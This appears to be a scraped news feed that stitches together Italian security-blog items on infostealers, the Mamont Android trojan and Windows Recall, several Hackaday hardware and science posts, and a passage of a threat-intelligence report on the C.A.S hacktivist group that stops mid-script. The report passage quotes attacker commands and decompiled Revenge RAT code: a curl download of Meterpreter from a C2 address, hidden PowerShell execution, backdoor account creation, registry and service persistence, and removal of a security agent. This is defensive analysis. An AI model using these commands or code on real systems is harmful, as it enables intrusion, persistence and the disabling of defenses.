Un capitolo particolarmente interessante è dedicato all’analisi di XFilesStealer, uno degli infostealer più diffusi nel panorama attuale. I partecipanti al corso hanno studiato le dinamiche di funzionamento di questo malware, svelando le sue modalità di infiltrazione, raccolta dei dati e comunicazione con i server C2. Questo tipo di analisi consente di comprendere le tecniche utilizzate dai criminali e di sviluppare contromisure più efficaci.

Scarica il report Infostealer: un pacco da Babbo Natale… con dentro le tue password

Conclusioni e prossimi passi

Il report rappresenta un contributo significativo alla comprensione delle minacce legate agli infostealer e dimostra l’importanza di una formazione mirata e approfondita. Il terzo corso “Dark Web & Cyber Threat Intelligence”, che si è concluso con successo, ha permesso agli studenti di applicare le competenze apprese in modo pratico, sotto l’attenta supervisione del prof. Pietro Melillo.

Il Quarto corso in Live Class si svolgerà a febbraio, e le iscrizioni sono già aperte.

Al termine del corso, i partecipanti avranno l’opportunità di accedere al gruppo DarkLab, un laboratorio dedicato alla ricerca avanzata sulle minacce cyber e alla produzione di report come questo. Un’occasione unica per entrare in contatto con esperti del settore e contribuire attivamente alla lotta contro il cybercrimine.

[strong]Contattaci tramite WhatsApp al 379 163 8765 per maggiori informazioni per partecipare alla quarta classe e per bloccare il tuo posto. Oppure scrivici a: formazione@redhotcyber.com. Ricorda che il corso è a numero chiuso e i posti sono limitati.[/strong]

Scarica il report Infostealer: un pacco da Babbo Natale… con dentro le tue password

L'articolo La Terza Live Class del Corso “DarkWeb & CTI” Rilascia Il Report Sugli Infostealer proviene da il blog della sicurezza informatica.

Gli specialisti di Kaspersky Lab hanno scoperto un nuovo schema di distribuzione del trojan bancario Android Mamont, rivolto agli utenti russi. Va notato che gli attacchi sono rivolti sia a privati ​​che a rappresentanti delle imprese.

Nei mesi di ottobre e novembre 2024, le soluzioni di sicurezza dell’azienda hanno respinto oltre 31.000 attacchi Mamont contro utenti russi. I ricercatori affermano che recentemente sono emerse notizie secondo cui il malware Mamont viene diffuso nelle chat, dove gli aggressori offrono agli utenti di scaricare un’applicazione presumibilmente progettata per tracciare i pacchi con elettrodomestici regalati.

Avendo deciso di scoprire come funzionava lo schema, i ricercatori hanno provato a effettuare un ordine. Nei contatti di uno dei negozi è stato trovato il collegamento a una chat chiusa su Telegram, che indicava esattamente come effettuare un ordine: per farlo bisognava scrivere un messaggio personale al gestore. La chat privata ha visto molti partecipanti attivi porre varie domande. Gli esperti non escludono che alcuni di essi possano essere bot e siano stati utilizzati anche per evitare le attività vigilanza di potenziali acquirenti.

Il direttore della chat ha spiegato che non è richiesto alcun pagamento anticipato e che presumibilmente l’ordine può essere pagato al momento del ricevimento. Il giorno successivo all’ordine, i truffatori hanno ricevuto un messaggio che informava che l’ordine era stato spedito e che esisteva una speciale applicazione mobile per seguirlo, disponibile tramite un collegamento. Come potete immaginare, il collegamento portava a un sito di phishing dal quale la vittima avrebbe dovuto scaricare Mamont.

Oltre al collegamento, agli esperti hanno fornito anche un codice per tracciare l’ordine, che dovevano inserire nella domanda. Si noti che sebbene gli specialisti abbiano informato i rappresentanti di Telegram di account e canali fraudolenti, l’amministrazione della piattaforma non ha ancora intrapreso alcuna azione per bloccarli.

Se l’utente cade nei trucchi degli aggressori e installa l’applicazione falsa per il tracciamento dei pacchetti, all’avvio il trojan richiede l’autorizzazione per funzionare in background, funzionare con notifiche push, SMS e chiamate.

Mamont chiede quindi alla vittima di inserire il numero di tracking falso, dopodiché invia una richiesta POST al server degli aggressori con i dati relativi al dispositivo e il numero di tracciamento specificato. Si ritiene che il numero venga utilizzato per identificare la vittima. Se il codice di risposta è 200, il Trojan avvia una finestra che presumibilmente scarica le informazioni sull’ordine.

Sul dispositivo della vittima vengono lanciati anche due servizi dannosi. Il primo intercetta tutte le notifiche push e le inoltra al server degli hacker. Il secondo stabilisce una connessione con il server WebSocket degli aggressori.

Tra i comandi supportati dal malware ci sono: cambiare o nascondere l’icona dell’applicazione (changeIcon e hide), mostrare messaggi arbitrari (custom), inviare tutti gli SMS in arrivo negli ultimi tre giorni (oldsms), inviare messaggi SMS (sms), scaricare le foto dalla galleria (foto) e così via.

Va notato che meritano un’attenzione particolare i comandi personalizzati, che coinvolgono il malware che interagisce con l’utente.

Infatti, tali comandi aiutano gli aggressori a ingannare la vittima facendo inserire le loro credenziali. Quando l’utente riceve questo comando, vede una finestra con un campo per inserire informazioni di testo, che vengono poi inviate al server degli aggressori.

Il comando foto è simile a quello personalizzato, ma invece di una finestra di testo mostra una finestra per il caricamento delle immagini. Molto probabilmente, in questo modo, gli hacker stanno cercando di raccogliere dati per ulteriori frodi utilizzando l’ingegneria sociale (ad esempio, frodando denaro per conto delle forze dell’ordine o dei regolatori).

I ricercatori riassumono che, nonostante la sua semplicità, Mamont ha tutte le funzioni necessarie per rubare le credenziali, nonché per gestire l’SMS banking.

L'articolo Mamont: Il Trojan Android che Inganna con False Promesse di Regali e Tracking proviene da il blog della sicurezza informatica.

Among us Hackaday writers, there are quite a few enthusiasts for retro artifacts – and it gets even better when they’re combined in an unusual way. So, when we get a tip about a build like this by [Sam Christy], our hands sure start itching.

The story of this texting typewriter is one that beautifully blends nostalgia and modern technology. [Sam], an engineering teacher, transformed a Panasonic T36 typewriter into a device that can receive SMS messages, print them out, and even display the sender’s name and timestamp. For enthusiasts of retro gadgets, this creation bridges the gap between analog charm and digital convenience.

What makes [Sam]’s hack particularly exciting is its adaptability. By effectively replacing the original keyboard with an ESP32 microcontroller, he designed the setup to work with almost any electric typewriter. The project involves I2C communication, multiplexer circuits, and SMS management via Twilio. The paper feed uses an “infinite” roll of typing paper—something [Sam] humorously notes as outlasting magnetic tape for storage longevity.

Beyond receiving messages, [Sam] is working on features like replying to texts directly from the typewriter. For those still familiar with the art form of typing on a typewriter: how would you elegantly combine these old machines with modern technology? While you’re thinking, don’t overlook part two, which gives a deeper insight in the software behind this marvel!

youtube.com/embed/QkY-vZrAu2g?…

hackaday.com/2024/12/18/back-t…

Extremophile lifeforms on Earth are capable of rather astounding feats, with the secret behind the extreme radiation resistance of one of them now finally teased out by researchers. As one of the most impressive extremophiles, Deinococcus radiodurans is able to endure ionizing radiation levels thousands of times higher than what would decisively kill a multicellular organism like us humans. The trick is the antioxidant which this bacterium synthesizes from multiple metabolites that combine with manganese. An artificial version of this antioxidant has now been created that replicates the protective effect.

The ternary complex dubbed MDP consists of manganese ions, phosphate and a small peptide, which so far has seen application in creating vaccines for chlamydia. As noted in a 2023 study in Radiation Medicine and Protection by [Feng Liu] et al. however, the D. radiodurans bacterium has more survival mechanisms than just this antioxidant. Although much of the ionizing radiation is neutralized this way, it can not be fully prevented. This is where the highly effective DNA repair mechanism comes into play, along with a range of other adaptations.

The upshot of this is the synthesis of a very effective and useful antioxidant, but as alluded to in the press releases, just injecting humans with MDP will not instantly give them the same super powers as our D. radiodurans buddy.

Featured image: Survival mechanisms in Deinococcus radiodurans bacterium. (Credit: Feng Liu et al., 2023)

hackaday.com/2024/12/18/bacter…

Back in the bad old days, dealing with DNA and RNA in a lab setting was often fraught with peril. Detection technologies were limited to radioisotopes and hideous chemicals like ethidium bromide, a cherry-red solution that was a fast track to cancer if accidentally ingested. It took time, patience, and plenty of training to use them, and even then, mistakes were commonplace.

Luckily, things have progressed a lot since then, and fluorescence detection of nucleic acids has become much more common. The trouble is that the instruments needed to quantify these signals are priced out of the range of those who could benefit most from them. That’s why [Will Anderson] et al. came up with DIYNAFLUOR, an open-source nucleic acid fluorometer that can be built on a budget. The chemical principles behind fluorometry are simple — certain fluorescent dyes have the property of emitting much more light when they are bound to DNA or RNA than when they’re unbound, and that light can be measured easily. DIYNAFLUOR uses 3D-printed parts to hold a sample tube in an optical chamber that has a UV LED for excitation of the sample and a TLS2591 digital light sensor to read the emitted light. Optical bandpass filters clean up the excitation and emission spectra, and an Arduino runs the show.

The DIYNAFLUOR team put a lot of effort into making sure their instrument can get into as many hands as possible. First is the low BOM cost of around $40, which alone will open a lot of opportunities. They’ve also concentrated on making assembly as easy as possible, with a solder-optional design and printed parts that assemble with simple fasteners. The obvious target demographic for DIYNAFLUOR is STEM students, but the group also wants to see this used in austere settings such as field research and environmental monitoring. There’s a preprint available that shows results with commercial fluorescence nucleic acid detection kits, as well as detailing homebrew reagents that can be made in even modestly equipped labs.

hackaday.com/2024/12/18/simple…

This week and next we take off for the holidays! We have an exciting schedule after the break, so stay tuned!

youtube.com/embed/3NWvKm6fIg8?…

Did you know you can watch the live recording of the show Right on our YouTube Channel? Have someone you’d like us to interview? Let us know, or contact the guest and have them contact us! Take a look at the schedule here.

play.libsyn.com/embed/episode/…

Direct Download in DRM-free MP3.

Places to follow the FLOSS Weekly Podcast:

• Spotify
• RSS

Theme music: “Newer Wave” Kevin MacLeod (incompetech.com)

Licensed under Creative Commons: By Attribution 4.0 License

hackaday.com/2024/12/18/floss-…

2020 saw the world rocked by widespread turmoil, as a virulent new pathogen started claiming lives around the globe. The COVID-19 pandemic saw a rush on masks, air filtration systems, and hand sanitizer, as terrified populations sought to stave off the deadly virus by any means possible.

Despite the fresh attention given to indoor air quality and airborne disease transmission, there remains one technology that was largely overlooked. It’s the concept of upper-room UV sterilization—a remarkably simple way of tackling biological nastiness in the air.

Warm Glowing Killing Glow

Upper-room UV systems sound kind of like science-fiction technology. They nuke nasty pathogens in the air, and do it while emitting a faint and weird-colored glow. In reality, they’ve been quietly hanging around for about 80 years. The idea is straightforward enough—you just shine UV-C light in the unused overhead zone of a room to zap airborne pathogens before they get inhaled by fragile humans!
Upper-room UV sterilization keeps the harmful UV-C light away from the occupants in the room. Credit: CDC
The concept came about as a direct result of 19th-century research that determined sunlight inhibited the growth of undesirable microbes and pathogens. Later work determined that light in the UV-C range of wavelengths is remarkably good at killing both bacteria and viruses, making it ideal for sterilizing purposes. The UV-C range is from 100 to 280 nanometers, but peak sterilizing action occurs around the 250-270 nm range. The primary method of action is that the UV-C light creates defects in DNA molecules that kill or inactivate microscopic organisms, including bacteria and viruses. It’s perfect for tackling all sorts of nasties, from measles to SARS to TB.

Unfortunately, that also means that UV-C light isn’t always safe to use around humans. Just as it hurts microbes, this light is also harmful to our skin and eyes in exactly the same way. Indeed, a prime example of this was a 2023 event that allegedly accidentally used UV sterilization lamps as decorative blacklights. While UV-C light is used in a wide range of sterilization applications, most keep the light hidden or localized to avoid direct human exposure.

Upper-room UV-C installations are particularly interesting, though, for their simplicity. To avoid dangerous exposures, these installations simply place the sterilizing lamps up high in a room and direct their light into the upper level of air. As long as the UV light output is directed into the top level of the room, well above the heads of any occupants, it can sterilize the air effectively with little risk of harm.
UV-C lamps typically have peak output at 254 nm, but they also output some light in the visual spectrum that gives them a characteristic green glow—as seen on this Phillips wall-mount unit. Credit: Phillips
For this reason, these systems are typically installed in places like schools, hospitals and other public buildings, where ceiling heights are high enough to make such installations safe. CDC guidelines suggest minimum ceiling heights must be at least 8 feet for these installations, though 8.5 feet is preferred. For most people, that’s high enough not to cause trouble, but if you’re one of the taller players in the NBA, you might want to take note.

Upper-room UV systems treat a massive volume of air simply by sectioning the room into a germ-killing overhead zone and a safer lower zone where people breathe. Natural convection, HVAC currents, and even a simple ceiling fan help keep the air circulating upward, doused by the UV field, and then returned to the lower portion, scrubbed clean. At least a minimal level of circulation is required in order to ensure all the air in a given room is being treated. Power levels required are relatively low. A 2015 study suggested a total output of just 15-20 milliwatts is enough per cubic meter of room volume, assuming adequate air mixing in the space.

Ultimately, though, proper sizing and safe installation are critical for creating an effective and safe sterilization system. UV-C is safe enough when used properly, but get it wrong, and you’ll see plenty of sore eyes and red skin almost immediately. The key is blocking direct and reflected UV light from reaching the lower zone of the room. Louvered fixtures with carefully aimed beams are necessary in rooms with lower ceilings, while more open fixtures are more for lofty spaces where they can blast UV upward without frying everyone’s eyeballs. Proper metering must be done at the time of installation to ensure light concentration is high enough in the sterilization region, and below safety limits in the occupied region. It’s also important to ensure the lamps are switched off for maintenance or if anyone is entering the upper zone of the room for any reason.

It might sound high-tech, but this approach predates modern pandemics by decades. It was already showing its effectiveness against diseases like measles and tuberculosis as far back as the 1930s and 1940s. Early success was found at Duke University in 1936, where post-surgical infections were cut from 11.62% to just 0.24% with the use of an operating room eqiupped with UV-C equipment. Later, a 1941 study determined that UV-C delivered by mercury-vapor lamps had drastically reduced measles transmission in classrooms.
This installation used bare UV-C bulbs, directing them with louvers or hiding them in a perforated sub-ceiling. Note the eerie green glow. Credit: research paper
Given its efficacy, you might think that upper room UV-C installations would be everywhere. Subways, airports, schools, hospitals, and malls could all benefit from this technology. However, it would require some investment and ongoing maintenance, and it seems that simple cost is too much to bear.

For whatever reason, upper-room UV remains an obscure technology, seldom discussed and rarely used. Here we are, after countless deadly airborne disease outbreaks, still largely ignoring a century-old technology that actually works. The simplicity is staggering—slap a UV fixture on the wall near the ceiling, tune it so that zero harmful light hits the occupants, and let it run. It’s not a silver bullet for all air quality concerns, and you still need ventilation, of course. But for dealing with nasty airborne pathogens? It’s hard to imagine an easier solution than upper-room UV. The only real question left is, why aren’t we using it everywhere?

Featured image by the US CDC.

hackaday.com/2024/12/18/upper-…

With the recent teardown of the Raspberry Pi 500, there were immediately questions raised about the unpopulated M.2 pad and related traces hiding inside. As it turns out, with the right parts and a steady hand it only takes a bit of work before an NVMe drive can be used with the RP500, as [Jeff Geerling] obtained proof of. This contrasts with [Jeff]’s own attempt involving the soldering on of an M.2 slot, which saw the NVMe drive not getting any power.
The four tiny coupling capacitors on the RP500’s PCIe traces. (Source: Jeff Geerling)
The missing ingredients turned out to be four PCIe coupling capacitors on the top of the board, as well as a source of 3.3 V. In a pinch you can make it work with a bench power supply connected to the pads on the bottom, but using the bottom pads for the intended circuitry would be much neater.

This is what [Samuel Hedrick] pulled off with the same AP3441SHE-7B as is used on the Compute Module 5 IO board. The required BOM for this section which he provides is nothing excessive either, effectively just this one IC and required external parts to make it produce 3.3V.

With the added cost to the BOM being quite minimal, this raises many questions about why this feature (and the PoE+ feature) were left unpopulated on the PCB.

Featured image: The added 3.3v rail on the Raspberry Pi 500 PCB. (Credit: Samuel Hedrick)

hackaday.com/2024/12/18/enabli…

These days, very few of us use optical media on the regular. If we do, it’s generally with a slot-loading console or car stereo, or an old-school tray-loader in a desktop or laptop. This has been the dominant way of using consumer optical media for some time.

Step back to the early CD-ROM era, though, and things were a little kookier. Back in the late 1980s and early 1990s, drives hit the market that required the use of a bulky plastic caddy to load discs. The question is—why did we apparently need caddies then, and why don’t we use them any longer?

Caddyshack

Early CD players, like this top-loading Sony D-50, didn’t use caddies. Credit: Binarysequence, CC BY-SA 4.0
The Compact Disc, as developed by Phillips and Sony, was first released in 1982. It quickly became a popular format for music, offering far higher fidelity than existing analog formats like vinyl and cassettes. The CD-ROM followed in 1985, offering hundreds of megabytes of storage in an era when most hard drives barely broke 30 MB. The discs used lasers to read patterns of pits and lands from a reflective aluminum surface, encased in tough polycarbonate plastic. Crucially, the discs featured robust error correction techniques so that small scratches, dust, or blemishes wouldn’t stop a disc from working.

Notably, the first audio CD player—the Sony CDP-101—was a simple tray-loading machine. Phillips’ first effort, the CD100, was a top-loader. Neither used a caddy. Nor did the first CD-ROM drives—the Phillips CM100 was not dissimilar from the CD100, and tray loaders were readily available too, like the Amdek Laserdrive-1.
Sony had the most popular design for CD caddies. Manufacturers including Hitachi, Apple, and Toshiba used the same design. Credit: Pysky, CC BY-SA 3.0
So where did caddies come from? The concept had existed prior to CDs, most notably for the failed Capacitance Electronic Disc format created by RCA. Those discs were highly susceptible to problems with dust, so they were kept in caddies for their protection. For CDs, the caddy wasn’t a necessity—the plastic optical discs were robust enough to be handled directly. And yet, in the late 1980s, caddy CD-ROM drives started to become the norm in the nascent market, with Apple and Sony perhaps the most notable early adopters.
Apple’s early drives—both internal and external—relied on caddies. Credit: All About Apple Museum, CC-BY-SA-2.5-it
The basic concept of the caddy is fairly obvious by its design. Various non-compatible versions existed from different manufacturers, but the intent was the same. The CD itself was placed in a plastic case with some kind of sliding shutter. This case protected the CD from scratches, dust, smudges, and other contaminants. When it was placed in a drive, the shutter would slide or rotate out of the way, allowing access for the optical head to read the disc.

For many early applications, CD-ROMs were very much an archival format. They offered long-term storage, were non-writable, and had huge capacity. They were perfect for creating digital encyclopedias, with a single disc able to replace a stack of bound volumes that would take up a whole shelf. They were also perfect for commercial or industry use, where large databases or reference volumes could be stored in a far smaller format than ever before.
Plenty of reference materials were delivered via CD-ROM, and they didn’t come cheap—as per this Sony catalog from 1991.
In these cases, though, it’s important to remember that CDs were quite expensive. For example, in 1986, a copy of Grolier’s Academic Encyclopedia would cost $199—or roughly $570 in today’s money. As robust as CDs were, it was at times desirable to protect such an investment with the added safety and security of a caddy. This was particularly useful in library, school, and business contexts, too, where end users couldn’t always be relied upon to use the discs gently.

Caddies also offered another side benefit of particular use to the radio industry. They made it very quick and easy to change discs, easing the work of on-air DJs as they cued up songs. Compare the ease of slamming in a cartridge, versus extracting a disc from a jewel case and gently placing it in a tray-loading drive. Under the pressure of a live broadcast, it’s clear to see the benefit of the caddy design. Particularly as sloppy handling would quickly damage discs that were on heavy rotation.

Caddies made sense at a time when the CDs and their content were incredibly expensive. They also made sense for professional media and corporate users. However, for the consumer, they quickly became a frustration rather than a boon.
This 8x caddy-loading CD-ROM drive was built by NEC. Credit: Derell Licht, Attribution-NoDerivs (CC BY-ND 2.0)
The problem for home users was simple. Caddies added a certain level of expense that became less justified as the price of CD-ROM titles came down. The intent was that users would have a caddy for each disc in their collection, protecting the CDs and making them easy to load. However, many home users only had one or a handful of caddies. This meant users were often swapping discs from caddy to caddy, with the repetitive manual handling negating any benefit of the caddies in the first place. It quickly became an unwelcome chore for owners of caddy-loading drives.

As is the way, the market soon responded. By the late 1990s, caddy-based CD drives had mostly disappeared from the consumer market in favor of more convenient, caddy-free drives. Customers wanted easy-to-use drives, and they had no desire to put up with fussy plastic cases that were ultimately unnecessary. Tray-loaders became the norm for most CD-ROM applications, with slot loaders becoming more popular as a fancier option in some premium hardware.
Caddy CD players were popular in the radio world. Credit: via eBay
Caddies did persist, but in more niche contexts. Standards like Mini Disc and UMD relied on integral, non-removable caddies, because Sony could never quite let go of the idea. Similarly, some early DVD-RAM drives relied on caddies too, as have various high-capacity optical archive standards. In these applications, caddies were chosen for two reasons—they were there to protect media that was either particularly delicate, valuable, or both. In the vast majority of cases, the caddy became an integral part of the media—rather than an external cart which discs could be swapped into and out of.

Caddy-based CD drives represent a transitional period in the early days of optical media. The lines between serious archival users and home users were blurred, and nobody quite knew where the technology was going. They highlight a period when engineers and manufacturers were still exploring the best methods build reliable drives that best met their users needs. From a consumer perspective, these protective devices are now curious relics in the post-optical era—a reminder of when laser-based media was on the absolute cutting edge of technology. How times have changed.

hackaday.com/2024/12/18/why-di…

Microsoft sta testando ancora una volta la funzionalità Recall, il cui rilascio era stato precedentemente ritardato a causa di problemi di privacy e sicurezza. Recall è attualmente disponibile solo per i membri del programma Windows Insiders, ma gli utenti hanno già notato dei problemi: la funzione salva numeri di carte bancarie, numeri di previdenza sociale e altre informazioni sensibili, anche quando è vietata.

Come funziona Windows Recall

Ricordiamo che Recall è stato introdotto a maggio 2024. La funzionalità è pensata per aiutare a “ricordare” qualsiasi informazione che l’utente ha visualizzato in passato, rendendola accessibile tramite una semplice ricerca. Pertanto, Recall, che doveva essere abilitato per impostazione predefinita su tutti i nuovi PC Copilot+, scatta un’istantanea della finestra attiva sullo schermo ogni pochi secondi, registrando tutto ciò che accade in Windows, sia che si visiti i siti Web in un browser, comunicando in modo istantaneo. messenger o lavorare con altre applicazioni.

Le immagini risultanti vengono elaborate dalla Neural Processing Unit (NPU) del dispositivo e da un modello AI per estrarre i dati dagli screenshot. Le informazioni vengono quindi archiviate nel database e gli utenti possono effettuare ricerche nella cronologia utilizzando query nella loro lingua madre.

Subito dopo il suo annuncio, Recall è stato pesantemente criticato sia dagli esperti di sicurezza che dai difensori della privacy. Gli esperti hanno paragonato la funzione a un keylogger e hanno dimostrato che con esso si possono rubare dati. In risposta a queste critiche, Microsoft ha ritardato il lancio di Recall e ha affermato che avrebbe fornito ulteriore sicurezza rendendo la funzionalità opzionale e crittografando il database in modo che sia inaccessibile finché l’utente non viene autenticato utilizzando Windows Hello.

L’esperimento di Tom’s Hardware

Secondo Tom’s Hardware, Recall è recentemente diventato di nuovo disponibile per i membri del programma Windows Insiders. La funzione ora dovrebbe crittografare i dati e viene fornita con l’impostazione Filtra informazioni sensibili abilitata per impostazione predefinita, progettata per bloccare la registrazione di app e siti che potrebbero visualizzare numeri di carte bancarie, numeri di previdenza sociale e altre informazioni finanziarie e personali. Tuttavia, i giornalisti hanno scoperto che questo filtro non sempre funziona.

Pertanto, Recall ha catturato con successo il testo dal Blocco note con un nome utente, una password e un numero di carta bancaria casuali, sebbene accanto ad esso fosse scritto il nome della banca e del sistema di pagamento (“Capital One Visa”).

Allo stesso modo, Recall ha ignorato le impostazioni e ha acquisito i dati da una richiesta di prestito completata in formato PDF, aperta in Microsoft Edge. Il documento conteneva un numero di previdenza sociale, nome e data di nascita.

Una funzionalità ancora da migliorare

Anche la creazione di una semplice pagina HTML che diceva direttamente “Inserisci il numero della tua carta di credito” e forniva campi per inserire il numero della carta, il codice CVC e la data di scadenza della carta non ha aiutato ad attivare il filtro. Recall ha catturato e salvato con successo tutti i dati inseriti nel modulo.

Allo stesso tempo, la nuova funzione Microsoft ha rifiutato di acquisire i dati delle carte bancarie dopo aver visitato le pagine di pagamento di due negozi online: Pimoroni e Adafruit. Cioè, per i siti commerciali reali il filtro funzionava ancora.

“Cioè, quando si trattava di veri siti commerciali, Recall ha fatto tutto bene. Tuttavia, il mio esperimento mostra che è quasi impossibile per il filtro AI di Microsoft rilevare tutte le situazioni in cui vengono visualizzate informazioni sensibili sullo schermo ed evitare di catturarle. I miei esempi sono stati pensati per testare un filtro, ma questi non sono casi affatto rari. Le persone inseriscono informazioni personali sensibili nei moduli PDF. Registrano, copiano e incollano i dati in file di testo, quindi li inseriscono in siti che non assomigliano ai tipici siti di negozi”, afferma Avram Piltch, redattore capo di Tom’s Hardware.

Quando la pubblicazione ha contattato i rappresentanti di Microsoft per un commento, la società ha risposto con un collegamento a un post sul blog dedicato a Recall. Dice che gli sviluppatori “stanno continuando a migliorare questa funzionalità” e consiglia di segnalarlo tramite Hub di feedback se trovi informazioni sensibili che dovrebbero essere filtrate.

Allo stesso tempo, Pilch osserva che i dati catturati da Recall sono ora effettivamente crittografati (la forza di questa crittografia sarà sicuramente verificata dai ricercatori di sicurezza) e l’accesso ad essi richiede l’autenticazione tramite Windows Hello. Secondo lui gli screenshot vengono salvati in una sottocartella chiamata AsymStore e non possono essere aperti come PNG, BMP o JPG.

“È possibile che gli hacker riescano a capire come aprire questi file, ma per quanto ne so, l’utente medio non sarà in grado di aprirli al di fuori dell’app Recall”, conclude Pilch.

L'articolo Windows Recall Salva i Dati Delle Carte Di Credito nelle immagini proviene da il blog della sicurezza informatica.

Does “Pix or it didn’t happen” apply to traveling to the edge of space on a balloon-lofted solar observatory? Yes, it absolutely does.

The breathtaking views on this page come courtesy of IRIS-2, a compact imaging package that creators [Ramón García], [Miguel Angel Gomez], [David Mayo], and [Aitor Conde] recently decided to release as open source hardware. It rode to the edge of space aboard Sunrise III, a balloon-borne solar observatory designed to study solar magnetic fields and atmospheric plasma flows.

To do that the observatory needed a continual view of the Sun over an extended period, so the platform was launched from northern Sweden during the summer of 2024. It rose to 37 km (23 miles) and stayed aloft in the stratosphere tracking the never-setting Sun for six and a half days before landing safely in Canada.

Strictly speaking, IRIS-2 wasn’t part of the primary mission, at least in terms of gathering solar data. Rather, the 5 kg (11 pound) package was designed to provide engineering data about the platform, along with hella cool video of the flight. To that end, it was fitted with four GoPro cameras controlled by an MPS340 microcontroller. The cameras point in different directions to capture all the important action on the platform, like the main telescope slewing to track the sun, as well as details of the balloon system itself.

The controller was programmed to record 4K video at 30 frames per second during launch and landing, plus fifteen minutes of 120 FPS video during the balloon release. The rest of the time, the cameras took a single frame every two minutes, which resulted in some wonderful time-lapse sequences. The whole thing was powered by 56 AA batteries, and judging by the video below it performed flawlessly during the flight, despite the penetrating stratospheric cold and blistering UV exposure.

Hats off to the IRIS-2 team for this accomplishment. Sure, the videos are a delight, but this is more than just eye candy. Seeing how the observatory and balloon platform performed during flight provides valuable engineering data that will no doubt improve future flights.

youtube.com/embed/CKWAjiNBPxo?…

hackaday.com/2024/12/18/catchi…

About C.A.S

C.A.S (Cyber Anarchy Squad) is a hacktivist group that has been attacking organizations in Russia and Belarus since 2022. Besides data theft, its goal is to inflict maximum damage, including reputational. To this end, the group’s attacks exploit vulnerabilities in publicly available services and make extensive use of free tools.

Our latest investigation unearthed new activity by the group, explored the attack stages, and analyzed the tools and malware used. In addition, we discovered links between C.A.S and other hacktivist groups, such as the Ukrainian Cyber Alliance and DARKSTAR.

Like most hacktivist groups, C.A.S uses Telegram as a platform to spread information about victims. We found a channel that posts news and messages about the group’s attacks and ideology, as well as a chat hosting a discussion of its activities.

C.A.S on Telegram

Note: this post examines active Telegram channels that we presume to be run by hacktivist groups. Use these sources with caution.

Tactics

This section analyzes the attack chain as per the MITRE ATT&CK framework, as well as the tools we found in the current C.A.S campaign.

Initial Access

C.A.S gains initial access to targeted systems by means of the Exploit Public-Facing Application technique (T1190). The attackers compromise Jira, Confluence and Microsoft SQL Server services using vulnerabilities that we were unable to identify due to the data storage limitations of the attacked segment. However, our analysis of the group leader’s messages in the C.A.S Telegram channel suggests that the hacktivists do not use phishing emails as an initial attack vector. Instead, they likely attack vulnerable network resources or gain access to systems after their compromise by third parties.

Messages from the C.A.S leader known as The Way

Translation:
But I need them to let us into the network mole/fishers

The aim of the C.A.S group is to inflict maximum financial and reputational damage on organizations in Russia and Belarus. In pursuit of this goal, they likely exploit vulnerabilities not only in Jira, Confluence and MS SQL, but in other publicly available services and systems too. What’s more, we are aware of attacks carried out by C.A.S in collaboration with other groups, which is another way they gain initial access and move through victims’ infrastructure.

Message about the group’s methods of gaining initial access

Translation:
but our method is to technically break through the outer perimeter, and those organizations that we need here and now often prefer to maintain 1 site, 2–3 reliable services and not poke around the network once again. so you set yourself the task to hack the company N. naturally, this is done through phishing, but unfortunately, we simply don’t have any fishers in our squad, and our arsenal is not designed for beacon flooding, but for exploits

Execution

To move further through the infrastructure, the threat actors used rare open-source remote access Trojans (RATs), including Revenge RAT and Spark RAT, which we have not seen in attacks by other hacktivists. These utilities allowed them to remotely control the infected systems and execute various commands.

In one incident, we detected the use of a compromised MS SQL service to execute commands in cmd. This was indicated by the cmd.exe process running as a child process of sqlservr.exe.

The attackers also used PowerShell to execute scripts:
powershell.exe -ex bypass -f \\[DOMAIN]\netlogon\rm.ps1
On top of this, the attackers downloaded the Meterpreter reverse shell for the Metasploit framework from the C2 server to the infected host using the cURL tool:
"$system32\cmd.exe",""$system32\cmd.exe" /c cd %appdata% && dir && curl -O
hxxp://185.117.75[.]3:8092/sdc.exe
In some reverse shell incidents, we also found traces of Revenge RAT (48210CA2408DC76815AD1B7C01C1A21A) being run through the PowerShell process:
powershell.exe -WindowStyle Hidden -NoExit -Command
[System.Reflection.Assembly]::LoadFile('C:\Users\<username>\Downloads\
<exe_name>.exe').EntryPoint.Invoke($null, @())

Persistence

To gain persistence in the system, the threat actors created accounts on compromised hosts using the net.exe utility:
C:\Windows\system32\cmd.exe" /c net user admin cas /add
C:\Windows\system32\cmd.exe" /c net user admin admin123123123 /add
It’s worth noting that they used the password
cas for the admin account, matching the name of the group.
We also found samples of Revenge RAT that had gained persistence in the system by adding registry keys to HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run.
try {
RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
true);
try {
if (!((string)((registryKey != null) ? registryKey.GetValue("\"" +
Path.GetFileNameWithoutExtension(Program._installName) + "\"") : null) == text) &&
registryKey != null) {
registryKey.SetValue(fileNameWithoutExtension, "\"" + text + "\"");
}
} catch {
if (registryKey != null) {
registryKey.SetValue(fileNameWithoutExtension, "\"" + text + "\"");
}
}
if (registryKey != null) {
registryKey.Dispose();
}
}
internal static string _installName = "rpchost.exe";
These Trojan samples were additionally copied to the Startup folder:
File.Copy(Application.ExecutablePath, "C:\\Users\\" + Environment.UserName +
"\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\" +
Program._installName);

internal static string _ip = "194.36.188.94";
internal static string _installName = "svhost.exe";
During execution, one of the above RAT samples (FC3A8EABD07A221B478A4DDD77DDCE43) created a watchdog timer file called svxhost.exe in the C:\Windows\System32 directory, wrote information to this file, created the NgcMngrSvc service with svxhost.exe as an executable file, and ran this service.

[HandleProcessCorruptedStateExceptions]private static void CreateWatchdog() {
Program.hService = Helper.OpenService(Program.hSCM, "NgcMngrSvc", 4);
if (Program.hService == IntPtr.Zero) {
try {
File.WriteAllBytes(Program.system + "svxhost.exe",
Program.GetResource("dog"));
} catch {
}
Program.hService = Helper.CreateService(Program.hSCM, "NgcMngrSvc", "Microsoft
Passport Manager", 983551, 16, 2, 0, Program.system + "svxhost.exe", null, IntPtr.Zero,
null, null, null);
}
Helper.StartService(Program.hService, 0, null);
}

Defense Evasion

During our incident investigations, we often noted that the attackers gained full control over information security tools because these were not properly configured. To implement effective anti-attack measures, it is vital to perform regular testing, updating and integration of security systems. A key factor in securing infrastructure is compliance with password-protection policies for access to the information security systems.

In one of the incidents, C.A.S managed to disable an EPP agent without a password, using the rm.ps1 script.
$guidQuery = wmic product where "[redacted]" get IdentifyingNumber
$guid = $guidQuery | Select-String -Pattern "{[A-F0-9-]+}" | ForEach-Object {
$_.Matches[0].Value }

if ($guid -ne $null) {
$msiexecCommand2 = "msiexec.exe /x $guid /quiet"
